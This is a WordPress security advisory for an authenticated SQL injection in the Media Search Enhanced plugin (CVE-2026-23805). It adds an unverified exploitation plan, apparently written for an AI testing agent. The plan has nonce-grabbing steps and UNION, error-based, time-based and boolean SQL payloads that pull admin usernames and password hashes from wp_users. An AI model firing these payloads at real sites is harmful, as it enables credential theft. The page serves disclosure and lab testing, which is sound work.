CVE-2026-23805

Media Search Enhanced <= 0.9.1 - Authenticated (Author+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
0.9.2
Patched in
51d
Time to patch

Description

The Media Search Enhanced plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 0.9.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with author-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=0.9.1
PublishedJanuary 7, 2026
Last updatedFebruary 26, 2026
Affected pluginmedia-search-enhanced

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-23805 (Media Search Enhanced SQLi) ## 1. Vulnerability Summary **Media Search Enhanced** (versions <= 0.9.1) is vulnerable to an authenticated SQL injection. The vulnerability exists because the plugin fails to properly sanitize or parameterize user-supplied i…

Show full research plan

Exploitation Research Plan: CVE-2026-23805 (Media Search Enhanced SQLi)

1. Vulnerability Summary

Media Search Enhanced (versions <= 0.9.1) is vulnerable to an authenticated SQL injection. The vulnerability exists because the plugin fails to properly sanitize or parameterize user-supplied input before incorporating it into a database query. Specifically, it likely handles search terms or filter parameters in an administrative AJAX handler without using $wpdb->prepare(). This allows an attacker with Author-level permissions or higher to append malicious SQL commands, enabling the extraction of sensitive data (like user hashes) from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action (Inferred): Likely mse_search_media or mse_get_attachments. (The agent must verify this via grep -r "wp_ajax" .).
  • Vulnerable Parameter: Likely s, search, or term.
  • Authentication: Authenticated. Requires a user with the author role.
  • Preconditions: The plugin must be active. A valid AJAX nonce is likely required for the handler.

3. Code Flow

  1. Entry Point: An AJAX request is sent to admin-ajax.php with a specific action.
  2. Hook Registration: The plugin registers an AJAX handler via add_action( 'wp_ajax_mse_...', '...' ).
  3. Parameter Retrieval: The handler function retrieves user input from $_POST or $_GET.
  4. Sink: The input is concatenated directly into a query string and passed to $wpdb->get_results(), $wpdb->get_row(), or $wpdb->query() without being passed through $wpdb->prepare().

4. Nonce Acquisition Strategy

The plugin likely enqueues a script in the WordPress Media Library or Post Editor that contains the necessary AJAX nonce.

  1. Discovery: Find where the script is localized.
    • Action: grep -r "wp_localize_script" .
    • Target identifiers (inferred): mse_ajax_obj, mse_vars.
  2. Page Creation: Create a post as an administrator to ensure the Media Library/Plugin scripts are active.
    • Command: wp post create --post_type=post --post_title="Trigger" --post_status=publish --post_author=1
  3. Browser Execution:
    • Login as the Author user created in Step 6.
    • Navigate to /wp-admin/upload.php (Media Library) or /wp-admin/post-new.php.
    • Use browser_eval to extract the nonce.
    • Example (inferred): browser_eval("window.mse_ajax_obj?.nonce") or browser_eval("window.mse_vars?.nonce").

5. Exploitation Strategy

We will perform a UNION-based SQL injection to extract the administrator's username and password hash.

Step 1: Discover the Sink

The agent must first identify the exact action and parameter:

grep -rnE "\$wpdb->(get_results|get_row|get_var|query)\s*\(" wp-content/plugins/media-search-enhanced/ | grep -v "prepare"

Step 2: Determine Column Count

Send requests to the identified AJAX action using the http_request tool, incrementing the ORDER BY index until an error occurs.

  • Payload (inferred): action=mse_search&s=test' ORDER BY 10-- -

Step 3: Data Extraction

Once the column count (e.g., 5) is known, inject the UNION SELECT payload.

  • Payload (inferred):
    action=mse_search
    &nonce=[NONCE]
    &s=x' UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users-- -
    
  • Content-Type: application/x-www-form-urlencoded

6. Test Data Setup

  1. Create Author User:
    wp user create attacker attacker@example.com --role=author --user_pass=password123
    
  2. Ensure Plugin is Active:
    wp plugin activate media-search-enhanced
    
  3. Create Sample Media:
    # Upload a dummy image to ensure the media search has context
    wp media import https://wordpress.org/static/images/logos/wordpress-blue.png --title="TargetMedia"
    

7. Expected Results

  • The HTTP response from admin-ajax.php will return a JSON object or HTML snippet.
  • Within that output, the administrator's login (e.g., admin) and the phpass hash (e.g., $P$B...) will be visible, substituted for the original media search results.

8. Verification Steps

After the exploit, verify the extracted data against the database using WP-CLI:

# Check if the extracted hash matches the actual hash for the admin user
wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID = 1"

9. Alternative Approaches

  • Error-Based SQLi: If the plugin outputs database errors (common when WP_DEBUG is on), use EXTRACTVALUE or UPDATEXML.
    • Payload: s=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- -
  • Time-Based Blind SQLi: If no output is returned, use SLEEP().
    • Payload: s=x' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • Boolean-Based Blind: If the response differs when a media item is found vs not found.
    • Payload: s=TargetMedia' AND (SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)='$')-- -
Research Findings
Static analysis — not yet PoC-verified

Summary

The Media Search Enhanced plugin for WordPress (versions up to 0.9.1) is vulnerable to authenticated SQL injection via its AJAX search functionality. Due to the lack of input sanitization and the failure to use prepared statements (wpdb::prepare), attackers with Author-level access or higher can inject malicious SQL commands to extract sensitive data from the database.

Exploit Outline

To exploit this vulnerability, an attacker must first log in with Author-level permissions. They need to retrieve a valid AJAX nonce, which is typically found within the localized JavaScript objects (e.g., mse_ajax_obj) in the Media Library or Post Editor. The attacker then sends a POST request to '/wp-admin/admin-ajax.php' with the plugin's AJAX action and the nonce. By supplying a UNION-based SQL payload in the search parameter (e.g., 's'), the attacker can force the application to return sensitive information, such as entries from the 'wp_users' table, directly in the AJAX response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.